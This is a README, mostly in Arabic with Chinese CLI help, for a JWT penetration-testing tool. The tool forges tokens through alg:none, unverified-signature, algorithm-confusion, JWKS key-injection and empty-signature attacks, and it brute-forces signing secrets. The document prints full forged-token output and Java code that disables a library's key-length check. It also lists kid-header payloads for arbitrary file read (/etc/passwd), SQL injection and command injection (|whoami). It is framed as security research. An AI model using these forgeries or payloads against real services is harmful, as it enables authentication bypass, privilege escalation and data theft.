
أداة للتحقق من الثغرات وكسر المفاتيح مطوّرة لاختبار اختراق JWT، تستهدف CVE-2015-9235/المفتاح الفارغ/هجوم التوقيع غير المُتحقَّق منه/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042، وتُولّد النتائج لاستخدامها في FUZZ، كما يمكنها كسر المفاتيح (JWT Crack) باستخدام القواميس أو تعداد الأحرف (بما في ذلك JJWT).
إخلاء مسؤولية مهم: التقنيات والأفكار والأدوات المذكورة في هذا المستند مخصّصة فقط لتبادل التعلم والمعرفة بغرض الأمان، ولا يجوز لأي شخص استخدامها لأغراض غير قانونية أو لتحقيق أرباح، ومن يفعل ذلك يتحمّل العواقب بنفسه .
أداة للتحقق من الثغرات وتفجير المفاتيح، طُوّرت لاختبار اختراق JWT. تولّد نتائج لثغرات CVE-2015-9235 / هجوم التوقيع غير المُتحقَّق منه / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042 لاستخدامها في FUZZ، كما يمكن التفجير عبر القاموس أو تعداد الأحرف.مقدمة الأداة · دليل الاستخدام · ملاحظات مهمة · التواصل التقني
أثناء اختبارات الاختراق الدورية في مشاريع الشركة، وغالبًا في المشاريع التي تفصل الواجهة الأمامية عن الخلفية، نواجه JWT يُستخدم كـ Token للتحقق من الصلاحيات. يمكن استخدام أدوات مثل jwt-tool، لكنها لا تحقق الهدف بخطوة واحدة. لذلك استخدمت لغة Go لتطوير أداة مساعدة لاختبار اختراق JWT تُنجز العمل بخطوة واحدة، لمساعدتكم في اختبار تجاوز الصلاحيات.
ما هي سيناريوهات استخدام الأداة؟
ما هي مزايا الأداة؟
# 打包
go mod tidy
cd cmd
go build.
# 命令行运行
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
是否使用文件中的payload,默认为空使用角色内置字典(绑定模式2),模式3非空(绑定模式3)
-em int
secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
-fs string
爆破的默认字典,可以自行按猜测的规则修改(配合-fz 位数使用) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
字符爆破最大字符数(如果字符爆破要指定位数-fz)
-jbc string
需要修改的JWT body
-jm int
模式1:(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3:secret文本爆破 模式4:secret字符爆破(如果字符爆破要指定位数-fz)模式5:对JWT的Secret进行验证 (default 1)
-jwt.txt string
JWT字符串
-mz int
字符爆破最小字符数(如果字符爆破要指定位数-mz),默认为1 (default 1)
-pem string
公钥pem的路径(最好绝对路径)
-pt int
选择模式:0为默认全执行,1为修改alg为none(CVE-2015-2951),2为未验证签名导致的越权,3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入--伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
-s string
已知Secret,默认为空
# 交互式运行
.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权,请选择模式:
[·] [Use arrows to move, type to filter]
> 模式1:(未知Secret)修改Payload越权测试
模式2:(先测试模式1)PayloadFuzz越权测试
模式3:secret文本爆破
模式4:secret字符爆破
模式5:对JWT的Secret进行验证
? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【模式1】【模式2】未知secret的情况下修改JWT测试越权,请选择具体测试模式:
[·] [Use arrows to move, type to filter]
> 模式0:默认全执行
模式1:修改alg为none(CVE-2015-2951)
模式2:未验证签名导致的越权
模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555)
模式4:JWKS公钥注入--伪造密钥(CVE-2018-0114)
模式5:空签名(CVE-2020-28042)
? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权,请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{"username":"admin","role":"admin"}
【模式2】示例:{"usernmae":"admin","role":"FUZZ"}
请注意【模式2】中的FUZZ此处为字典替换位置,如果不修改可以直接为enter回车默认使用原Payload
? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============没secret修改Payload的越权测试===========
① 大部分情况在alg为HS256时候,可以将JWT改为none的情况(CVE-2015-9235)
[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击:修改Payload不校验
[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击
[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入--伪造密钥(CVE-2018-0114)攻击
[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击
[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意:所有JWT结果都已经保存在运行目录下的result.txt中,可以去重放Intruder测试是否为可行Token
① في معظم الحالات عندما يكون alg هو HS256، يُغيَّر JWT إلى none (CVE-2015-9235)
② هجوم التوقيع غير المُتحقَّق: تعديل Payload دون تحقُّق
③ هجوم تغيير خوارزمية التشفير غير المتماثل إلى خوارزمية متماثلة (CVE-2016-10555)
④ هجوم حقن المفتاح العام JWKS -- تزوير المفتاح (CVE-2018-0114)
⑤ هجوم التوقيع الفارغ (CVE-2020-28042)
يمكن إعادة الإرسال مباشرة عبر Repeater.
اكتشافات ثغرات خاصة أخرى:
عند تحليل المقطع الأول من JWT، إذا وُجدت معاملات أخرى، فقد تظهر تلميحات بوجود ثغرات أخرى محتملة.
// Java的jjwt测试代码
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// 使用反射修改 SignatureAlgorithm.HS256 的 minKeyLength
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 将最小密钥长度设置为 0
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// 原始密钥
String secret = "test@123";
JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
HashMap<String, Object> stringObjectHashMap = new HashMap<>();
stringObjectHashMap.put("test", "test");
jwtBuilder.addClaims(stringObjectHashMap);
System.out.println(jwtBuilder.compact());
}
}
النتيجة المُولَّدة: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM



الثغرات ذات الصلة هنا (منقولة من مقالات أخرى، حللّوها بأنفسكم)
1. قراءة ملف تعسفي
يُستخدم معامل KID لقراءة ملف المفتاح، لكن النظام لا يعرف هل ما يريد المستخدم قراءته هو ملف المفتاح فعلًا أم لا. لذلك، إذا لم تتم تصفية المعامل، يمكن للمهاجم قراءة أي ملف في النظام.
{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}
2. حقن SQL
يمكن أيضًا استخدام KID لاستخراج البيانات من قاعدة البيانات، وهنا قد يحدث هجوم حقن SQL، عبر صياغة جمل SQL للحصول على البيانات أو تجاوز التحقق من التوقيع.
عند وجود حقل KID، جرّب الحقن بتغيير قيمة KID إلى جملة SQL، وتغيير username إلى Tom، وجعل مفتاح التوقيع مطابقًا لجملة SQL. على سبيل المثال، إذا كانت جملة SQL تحتوي على Mw== (وهو ترميز base64 للرقم 3)، فسيكون مفتاح التوقيع هنا هو 3:
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}
3. حقن الأوامر
قد تؤدي التصفية غير الصارمة لمعامل KID إلى ثغرة حقن أوامر، لكن شروط الاستغلال صعبة نسبيًا. إذا كان الخادم في الواجهة الخلفية يستخدم Ruby ويستدعي دالة open عند قراءة ملف المفتاح، فمن الممكن عبر صياغة المعاملات تحقيق حقن أوامر.
{ "typ": "JWT", "kid": "/path/to/key_file|whoami", "alg": "HS256"}
عند ظهور معاملات أخرى، يمكن أيضًا إجراء مزيد من التحليل.
لنلقِ نظرة أيضًا على وحدة التفجير
ابحث عن أي قاموس على الإنترنت.
اختبار JWT1 (السر 123456):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

اختبار JWT2 (سر jjwt: test@123):
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

ثم استخدم JWT1 لاختبار نتيجة توليد الأحرف:
هنا ولّدتُ جميع القواميس من 4 إلى 6 خانات، والإدخال هو 1234567890. لا داعي لجعله أكبر للعرض التوضيحي، يمكنكم تجربته بأنفسكم، فهو سريع على أي حال.

سيُنشئ هذا ملف genFuzzDict.txt في الدليل الحالي. ولأن كمية التوليد كبيرة جدًا، كان النهج المبدئي هو استخدام تجمع مؤشرات ترابط مع نمط منتج-مستهلك، لكن عند التشغيل الفعلي، بدءًا من 4 خانات، ينهار البرنامج بسبب نفاد الذاكرة. لذا حُسِّن الأسلوب إلى الحفظ والقراءة من ملف نصي؛ وعندما يعثر البرنامج على المفتاح، يخرج تلقائيًا دون مواصلة قراءة الملف.
ومثال آخر بنمط MD5:
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

模式3:修改非对称密码算法为对称密码算法(CVE-2016-10555). إذا كان كود JS في الصفحة يسرّب المفتاح العام، فاستخدم النتيجة المحفوظة من المفتاح العام في الصفحة؛ وإن لم يكن كذلك، استخدم هذا الملف كبديل لتمرير خطوة التوليد، وإلا سيحدث خطأ.أدوات خدمات الاختراق على Github: https://github.com/z-bool Venom
مشاريع الأبحاث الأمنية على Github: https://github.com/SpringKill-team SpringKill Team
الحساب الرسمي 阿呆攻防:
